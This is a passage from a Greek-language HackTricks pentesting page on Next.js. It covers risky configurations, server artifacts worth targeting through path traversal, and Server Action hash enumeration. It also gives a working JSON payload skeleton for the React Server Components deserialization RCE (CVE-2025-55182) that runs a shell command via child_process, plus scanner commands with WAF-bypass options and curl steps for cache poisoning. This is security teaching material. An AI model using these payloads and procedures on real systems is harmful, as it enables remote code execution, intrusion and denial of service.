  • '*': Επιτρέπει τη φόρτωση images από οποιαδήποτε εξωτερική πηγή, συμπεριλαμβανομένων μη αξιόπιστων ή κακόβουλων domains. Οι επιτιθέμενοι μπορούν να φιλοξενήσουν images που περιέχουν malicious payloads ή περιεχόμενο που παραπλανά τους χρήστες.
  • Ένα άλλο πρόβλημα μπορεί να είναι να επιτρέπεται ένας domain όπου ο καθένας μπορεί να ανεβάσει μια image (όπως raw.githubusercontent.com)

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Με την έγχυση images από κακόβουλες πηγές, οι επιτιθέμενοι μπορούν να πραγματοποιήσουν phishing attacks, να εμφανίσουν παραπλανητικές πληροφορίες ή να εκμεταλλευτούν ευπάθειες σε image rendering libraries.

Έκθεση μεταβλητών περιβάλλοντος

Διαχειριστείτε ευαίσθητες πληροφορίες όπως API keys και database credentials με ασφάλεια χωρίς να τις εκθέτετε στον client.

a. Έκθεση Ευαίσθητων Μεταβλητών

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

Πρόβλημα:

  • SECRET_API_KEY: Χωρίς το πρόθεμα NEXT_PUBLIC_, το Next.js δεν εκθέτει μεταβλητές στον client. Ωστόσο, αν προστεθεί κατά λάθος πρόθεμα (π.χ. NEXT_PUBLIC_SECRET_API_KEY), γίνεται προσβάσιμο στο client side.

Πώς οι attackers το εκμεταλλεύονται:

Εάν ευαίσθητες μεταβλητές εκτίθενται στον client, attackers μπορούν να τις ανακτήσουν ελέγχοντας τον client-side κώδικα ή τα network requests, αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε APIs, databases ή άλλες υπηρεσίες.

Ανακατευθύνσεις

Διαχειριστείτε τις URL ανακατευθύνσεις και rewrites μέσα στην εφαρμογή σας, διασφαλίζοντας ότι οι users κατευθύνονται σωστά χωρίς να εισάγουν open redirect vulnerabilities.

a. Open Redirect Vulnerability

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Πρόβλημα:

  • Δυναμικός Προορισμός: Επιτρέπει στους χρήστες να καθορίζουν οποιοδήποτε URL, επιτρέποντας open redirect attacks.
  • Εμπιστοσύνη στην είσοδο χρήστη: Οι ανακατευθύνσεις σε URLs που παρέχονται από χρήστες χωρίς επικύρωση μπορούν να οδηγήσουν σε phishing, malware distribution, ή credential theft.

Πώς οι επιτιθέμενοι το εκμεταλλεύονται:

Οι επιτιθέμενοι μπορούν να δημιουργήσουν URLs που φαίνεται να προέρχονται από το domain σας αλλά ανακατευθύνουν τους χρήστες σε κακόβουλους ιστότοπους. Για παράδειγμα:

https://yourdomain.com/redirect?url=https://malicious-site.com

Χρήστες που εμπιστεύονται το αρχικό domain μπορούν να πλοηγηθούν χωρίς να το γνωρίζουν σε κακόβουλες ιστοσελίδες.

Ρυθμίσεις Webpack

Προσαρμόστε τις ρυθμίσεις του Webpack για την εφαρμογή Next.js σας, κάτι που μπορεί άθελά του να εισαγάγει ευπάθειες ασφαλείας εάν δεν γίνει με προσοχή.

a. Αποκάλυψη ευαίσθητων modules

Κακό παράδειγμα διαμόρφωσης:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Πρόβλημα:

  • Αποκάλυψη Ευαίσθητων Διαδρομών: Η αντιστοίχιση (aliasing) ευαίσθητων καταλόγων και η παροχή πρόσβασης από τον client-side μπορούν να leak εμπιστευτικές πληροφορίες.
  • Bundling Secrets: Αν ευαίσθητα αρχεία είναι bundled για τον client, το περιεχόμενό τους γίνεται προσβάσιμο μέσω των source maps ή εξετάζοντας τον client-side code.

Πώς το εκμεταλλεύονται οι attackers:

Οι επιτιθέμενοι μπορούν να αποκτήσουν πρόσβαση ή να ανασυστήσουν τη δομή καταλόγων της εφαρμογής, ενδεχομένως εντοπίζοντας και εκμεταλλευόμενοι ευαίσθητα αρχεία ή δεδομένα.

pages/_app.js and pages/_document.js

pages/_app.js

Σκοπός: Αντικαθιστά το προεπιλεγμένο App component, επιτρέποντας global state, styles και layout components.

Χρήσεις:

  • Εισαγωγή global CSS.
  • Προσθήκη layout wrappers.
  • Ενσωμάτωση state management libraries.

Παράδειγμα:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Σκοπός: Αντικαθιστά το προεπιλεγμένο Document, επιτρέποντας την προσαρμογή των tags <html> και <body>.

Περιπτώσεις χρήσης:

  • Τροποποίηση των <html> ή <body> tags.
  • Προσθήκη meta tags ή προσαρμοσμένων scripts.
  • Ενσωμάτωση γραμματοσειρών τρίτων.

Παράδειγμα:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Προσαρμοσμένος διακομιστής (Προαιρετικό)

Σκοπός: Παρότι το Next.js διαθέτει ενσωματωμένο διακομιστή, μπορείτε να δημιουργήσετε προσαρμοσμένο διακομιστή για προχωρημένες χρήσεις, όπως προσαρμοσμένη δρομολόγηση ή ενσωμάτωση με υπάρχουσες υπηρεσίες backend.

Σημείωση: Η χρήση προσαρμοσμένου διακομιστή μπορεί να περιορίσει τις επιλογές ανάπτυξης, ειδικά σε πλατφόρμες όπως η Vercel που βελτιστοποιούν για τον ενσωματωμένο διακομιστή του Next.js.

Παράδειγμα:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Επιπλέον Αρχιτεκτονικές και Ζητήματα Ασφάλειας

Μεταβλητές Περιβάλλοντος και Διαμόρφωση

Σκοπός: Διαχείριση ευαίσθητων πληροφοριών και ρυθμίσεων διαμόρφωσης εκτός του codebase.

Βέλτιστες Πρακτικές:

  • Χρησιμοποιήστε αρχεία .env: Αποθηκεύστε μεταβλητές όπως API keys σε .env.local (εξαιρούνται από τον έλεγχο έκδοσης).
  • Πρόσβαση σε μεταβλητές με ασφάλεια: Χρησιμοποιήστε process.env.VARIABLE_NAME για πρόσβαση στις μεταβλητές περιβάλλοντος.
  • Μην εκθέτετε ποτέ μυστικά στον client: Βεβαιωθείτε ότι οι ευαίσθητες μεταβλητές χρησιμοποιούνται μόνο server-side.

Παράδειγμα:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Σημείωση: Για να περιορίσετε μεταβλητές μόνο στην πλευρά του server, παραλείψτε τις από το env αντικείμενο ή προθέστε το NEXT_PUBLIC_ για έκθεση στον client.

Χρήσιμα server artifacts για στόχευση μέσω LFI/download endpoints

Εάν βρείτε ένα path traversal ή download API σε μια εφαρμογή Next.js, στοχεύστε στα compiled artifacts που leak server-side secrets και auth logic:

  • .env / .env.local για session secrets και credentials παρόχων.
  • .next/routes-manifest.json και .next/build-manifest.json για πλήρη λίστα routes.
  • .next/server/pages/api/auth/[...nextauth].js για ανάκτηση της compiled NextAuth configuration (συχνά περιέχει fallback passwords όταν οι τιμές του process.env δεν έχουν οριστεί).
  • next.config.js / next.config.mjs για έλεγχο των rewrites, redirects και middleware routing.

Πιστοποίηση και Εξουσιοδότηση

Προσέγγιση:

  • Session-Based Authentication: Χρησιμοποιήστε cookies για τη διαχείριση συνεδριών χρηστών.
  • Token-Based Authentication: Εφαρμόστε JWTs για authentication χωρίς κατάσταση.
  • Third-Party Providers: Ενσωματώστε OAuth providers (π.χ., Google, GitHub) χρησιμοποιώντας βιβλιοθήκες όπως next-auth.

Πρακτικές Ασφαλείας:

  • Secure Cookies: Ορίστε τα attributes HttpOnly, Secure, και SameSite.
  • Password Hashing: Κάντε πάντα hash τους κωδικούς πριν την αποθήκευση.
  • Input Validation: Προστατέψτε από injection attacks ελέγχοντας και sanitizing τα inputs.

Παράδειγμα:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Βελτιστοποίηση Απόδοσης

Στρατηγικές:

  • Βελτιστοποίηση εικόνων: Χρησιμοποιήστε το component next/image του Next.js για αυτόματη βελτιστοποίηση εικόνων.
  • Διαχωρισμός κώδικα: Εκμεταλλευτείτε τα dynamic imports για να διασπάσετε τον κώδικα και να μειώσετε τους αρχικούς χρόνους φόρτωσης.
  • Cache (Προσωρινή αποθήκευση): Εφαρμόστε στρατηγικές caching για τις απαντήσεις API και τα στατικά αρχεία.
  • Καθυστερημένη φόρτωση: Φορτώστε components ή assets μόνο όταν χρειάζονται.

Παράδειγμα:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Απαρίθμηση Next.js Server Actions (hash σε όνομα συνάρτησης μέσω source maps)

Στις σύγχρονες εκδόσεις του Next.js χρησιμοποιούνται “Server Actions” που εκτελούνται στον server αλλά καλούνται από τον client. Σε production αυτές οι κλήσεις είναι αδιαφανείς: όλα τα POSTs καταλήγουν σε ένα κοινό endpoint και διακρίνονται από ένα build-specific hash που αποστέλλεται στην κεφαλίδα Next-Action. Παράδειγμα:

POST /
Next-Action: a9f8e2b4c7d1...

Όταν το productionBrowserSourceMaps είναι ενεργοποιημένο, τα minified JS chunks περιέχουν κλήσεις προς createServerReference(...) που leak αρκετή δομή (plus associated source maps) ώστε να ανακτηθεί μια αντιστοίχιση μεταξύ του action hash και του original function name. Αυτό επιτρέπει τη μετάφραση των hashes που παρατηρούνται στο Next-Action σε συγκεκριμένους στόχους όπως deleteUserAccount() ή exportFinancialData().

Προσέγγιση εξαγωγής (regex on minified JS + optional source maps)

Αναζητήστε τα downloaded JS chunks για createServerReference και εξαγάγετε το hash και το function/source symbol. Δύο χρήσιμα μοτίβα:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Ομάδα 1: server action hash (40+ hex chars)
  • Ομάδα 2: σύμβολο ή path που μπορεί να επιλυθεί στο αρχικό όνομα συνάρτησης μέσω του source map όταν υπάρχει

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Πρακτική ροή εργασίας

  • Παθητική ανακάλυψη κατά την περιήγηση: καταγράψτε αιτήματα με Next-Action headers και JS chunk URLs.
  • Fetch the referenced JS bundles and accompanying *.map files (when present).
  • Run the regex above to build a hash↔name dictionary.
  • Use the dictionary to target testing:
    • Διαλογή βάσει ονόματος (π.χ., transferFunds, exportFinancialData).
    • Παρακολούθηση κάλυψης across builds με βάση το όνομα της συνάρτησης (τα hashes rotate across builds).

Εκτέλεση κρυφών ενεργειών (template-based request)

Πάρτε ένα έγκυρο POST που παρατηρήθηκε in-proxy ως πρότυπο και αντικαταστήστε την τιμή Next-Action για να στοχεύσετε άλλη ανακαλυφθείσα ενέργεια:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Αυτοματοποίηση με Burp

  • NextjsServerActionAnalyzer (Burp extension) αυτοματοποιεί τα παραπάνω στο Burp:
  • Σαρώνει το ιστορικό του proxy για JS chunks, εξάγει εγγραφές createServerReference(...) και αναλύει source maps όταν είναι διαθέσιμα.
  • Διατηρεί ένα αναζητήσιμο λεξικό hash↔function-name και αφαιρεί διπλότυπα μεταξύ builds με βάση το function name.
  • Μπορεί να εντοπίσει ένα έγκυρο template POST και να ανοίξει μια έτοιμη για αποστολή καρτέλα Repeater με το hash της στοχευόμενης ενέργειας αντικατεστημένο.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Σημειώσεις και περιορισμοί

  • Απαιτεί productionBrowserSourceMaps ενεργοποιημένο στην production για να ανακτήσει ονόματα από bundles/source maps.
  • Η αποκάλυψη function-name δεν είναι από μόνη της ευπάθεια· χρησιμοποιήστε την για να καθοδηγήσετε την ανακάλυψη και να ελέγξετε την εξουσιοδότηση κάθε ενέργειας.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.

NodeJS - proto & prototype Pollution

Αλυσίδα επίθεσης σε Flight chunks

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Σκελετός payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Χαρτογράφηση της έκθεσης των React Server Function

React Server Functions (RSF) είναι οποιεσδήποτε συναρτήσεις που περιλαμβάνουν την οδηγία ‘use server’;. Κάθε form action, mutation, or fetch helper δεσμευμένο σε μία από αυτές τις συναρτήσεις γίνεται ένα RSC Flight endpoint που θα αποσειριοποιήσει χωρίς πρόβλημα attacker-supplied payloads. Χρήσιμα recon βήματα που προκύπτουν από αξιολογήσεις React2Shell:

  • Στατική καταγραφή: αναζητήστε την οδηγία για να κατανοήσετε πόσες RSFs εκτίθενται αυτόματα από το framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app ενεργοποιεί τον App Router + τον κατάλογο app/ από προεπιλογή, ο οποίος μετατρέπει σιωπηλά κάθε route σε endpoint ικανό για RSC. App Router assets όπως /_next/static/chunks/app/ ή απαντήσεις που streamάρουν Flight chunks με text/x-component είναι ισχυρά Internet-facing fingerprints.
  • Implicitly vulnerable RSC deployments: Η ίδια ανακοίνωση της React αναφέρει ότι εφαρμογές που παραδίδουν το RSC runtime μπορεί να είναι εκμεταλλεύσιμες even without explicit RSFs, οπότε θεωρήστε οποιοδήποτε build που χρησιμοποιεί react-server-dom-* 19.0.0–19.2.0 ως ύποπτο.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, κ.ά. επαναχρησιμοποιούν τον ίδιο serializer και κληρονομούν την ίδια remote attack surface μέχρι να ενσωματώσουν patched React builds.

Κάλυψη εκδόσεων (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: ευάλωτα σε 19.0.0, 19.1.0–19.1.1 και 19.2.0; επιδιορθωμένα σε 19.0.1, 19.1.2 και 19.2.1 αντίστοιχα.
  • Next.js stable: App Router releases 15.0.0–16.0.6 ενσωματώνουν την ευάλωτη RSC στοίβα. Οι patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 περιλαμβάνουν fixed deps, οπότε οποιοδήποτε build κάτω από αυτές τις εκδόσεις είναι υψηλής αξίας.
  • Next.js canary: 14.3.0-canary.77+ επίσης παραδίδει το buggy runtime και προς το παρόν δεν έχει patched canary drops, καθιστώντας αυτά τα fingerprints ισχυρούς exploitation candidates.

Remote detection oracle

Assetnote’s react2shell-scanner στέλνει ένα crafted multipart Flight request σε υποψήφιες διαδρομές και παρακολουθεί τη συμπεριφορά στην πλευρά του server:

  • Default mode εκτελεί ένα deterministic RCE payload (math operation reflected via X-Action-Redirect) που αποδεικνύει εκτέλεση κώδικα.
  • --safe-check mode σκόπιμα παραμορφώνει το Flight message έτσι ώστε τα patched servers να επιστρέφουν 200/400, ενώ τα ευάλωτα targets εκπέμπουν HTTP/500 απαντήσεις που περιέχουν το E{"digest" substring μέσα στο σώμα. Αυτό το (500 + digest) ζεύγος είναι επί του παρόντος το πιο αξιόπιστο remote oracle που έχουν δημοσιεύσει οι defenders.
  • Οι built-in --waf-bypass, --vercel-waf-bypass, και --windows switches προσαρμόζουν το payload layout, προσθέτουν junk στην αρχή, ή ανταλλάσσουν OS commands ώστε να μπορείτε να δοκιμάσετε πραγματικά Internet assets.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Άλλα πρόσφατα ζητήματα App Router (τέλη 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads μπορούν να θέσουν τον RSC resolver σε άπειρο loop (pre-auth DoS) ή να αναγκάσουν serialization του compiled Server Function code για άλλες ενέργειες. App Router builds ≥13.3 επηρεάζονται μέχρι να επιδιορθωθούν· οι 15.0.x–16.0.x χρειάζονται τις συγκεκριμένες patch γραμμές από το upstream advisory. Επαναχρησιμοποιήστε το κανονικό Server Action path αλλά stream ένα text/x-component body με κακόβουλες $ αναφορές. Πίσω από CDN η κολλημένη σύνδεση κρατιέται ανοιχτή από τα cache timeouts, κάνοντας το DoS φθηνό.
  • Triage tip: Unpatched targets return 500 with E{"digest" after malformed Flight payloads; patched builds return 400/200. Test any endpoint already streaming Flight chunks (look for Next-Action headers or text/x-component responses) and replay with a modified payload.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary let an Accept: text/x-component response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks